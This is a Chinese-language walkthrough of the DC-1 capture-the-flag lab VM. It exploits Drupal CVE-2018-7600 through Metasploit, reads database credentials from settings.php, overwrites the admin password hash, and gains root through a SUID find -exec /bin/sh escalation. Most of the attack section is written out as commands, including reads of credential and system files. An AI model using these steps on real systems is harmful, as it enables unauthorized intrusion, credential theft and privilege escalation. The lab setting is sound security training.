DC-1靶机
环境:
靶机名称:DC-1
攻击机:kali 192.168.78.135
1. 打开虚拟机
- 选择打开,选择.ovf后缀
- 开启虚拟机
2. 信息收集
2.1 nmap扫描存活主机确定DC-1的ip地址
nmap -sP 192.168.78.0/24
- IP为192.168.78.129
2.2 利用namp扫描DC-1开放的端口
nmap -sV -A 192.168.78.129
-sV 探测服务的版本
- 发现22、80、111端口是开放的,并且可以看到版本信息
2.3 访问80端口
-
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成
-
得到网站框架后,确定框架版本,在查找是否有此版本的漏洞
2.4 寻找Drupal版本信息(多种办法)
- 利用火狐的wappalyzer工具,版本为7.x
-
利用nmap扫描的-sV参数,如上文得版本为7.x
-
利用目录扫描,首先查看一下robots.txt
访问UPGRADE.txt
2.5 寻找此版本Drupal的漏洞
- 利用msf 搜索漏洞
search durpal
2.6 使用漏扫工具OpenVas
- 发现两个可以利用的漏洞
3. 漏洞利用(CVE-2018-7600)
use exploit/unix/webapp/drupal_drupalgeddon2
show options //查看参数信息
设置IP
set RHOSTS 192.168.78.129
exploit
//成功进入
3.1 寻找flag1
- 利用成功后,先使用命令
pwd
,查看一下当前所在文件位置
- 列出所有文件
ls
cat flag1.txt
- 提示需要去找drupal的配置文件
3.2 寻找flag2
- 百度drupal默认配置文件的位置在 sites/default/settings.php
cd sites/default
cat settings.php
-
找到flag2
-
此处提示不能使用暴力破解
3.3 寻找flag3
- 根据上面的settings.php看到数据库信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yR4UHWlB-1627289234516)(DC-1.assets/image-20210726143431544.png)]
-
有数据库登录的用户名和密码信息
-
尝试连接数据库寻找apache登录界面的用户名和密码;由于连接mysql需要进入交互式shell,已知pyton版本
shell
python -c "import pty; pty.spawn('/bin/bash')" //或者
python3 -c "import pty; pty.spawn('/bin/bash')"
- 成功进入
- 连接数据库
mysql -udbuser -pR0ck3t
- 查看所有数据库
show databases;
- 查看所有表,找到users表
use drupaldb
show tables;
- 查看users表的字段,看到name和pass字段
desc users;
- 查询这两个字段
select name,pass from users;
-
得到用户名和密码
-
不能使用暴力破解,尝试更新密码
在使用
update users set pass='123456' where name="admin"
,更新成功但是登录失败;看到原本是加密后的,尝试寻找Drupal对数据库的加密方法,更新密码为一个加密过后的已知密码;在drupal的官网上找到了druple的加密脚本位置./script/password-hash.sh,直接使用这个脚本进行加密。
cd /var/www/scripts
ls
php scripts/password-hash.sh 123456
//尝试多次命令,根据提示错误信息更正,最终得到123456的密文
$S$Daa/xJWcYSNNGN2NFyPCPAn5E8sWSdiPHtAh9BTdEBIPfmg1a.GB
- 重新进入数据库,更新admin的密码
update users set pass='$S$Daa/xJWcYSNNGN2NFyPCPAn5E8sWSdiPHtAh9BTdEBIPfmg1a.GB' where name = "admin";
- 在浏览器登录页面输入用户名:admin,密码:123456;成功登录
- 得到提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow;
3.4 寻找flag4
- 根据flag3的提示,shadow,尝试查看/etc/shadow
cat /etc/shadow
//提示权限不足
- 尝试查看一下 /etc/passwd
cat /etc/passwd
- 找到flag4用户,进入家目录看看有什么提示信息
cd /home/flag4
ls
- 查看一下flag4.txt
cat flag4.txt
- 提示在根目录下找访问标志
3.5 寻找flag5
- 根据上面提示我们需要进入root用户的家目录寻找最后一个flag;那么如何提权至root用户?
- 根据flag3的提示 find perm -exec,我们尝试使用find命令进行提权
find / -perm -4000
//找suid的程序
补充
suid:在默认情况下,用户发起一个进程,该进程的属主是发起者,而并非是文件的属主,此时进程是以发起者的身份去运行。如果给二进制程序文件添加了SUID权限后,用户发起一个进程,该进程的属主为程序文件所属的属主,而并非是发起者。
- 发现find命令有suid权限,进行其利用提权
find ./ aaa -exec '/bin/sh' \;
- 进入root的家目录
cd /root
ls
cat thefinalflag.txt
补充:OpenVas中的CVE-2014-3704也可以做
- 在msf模块中利用这个漏洞即可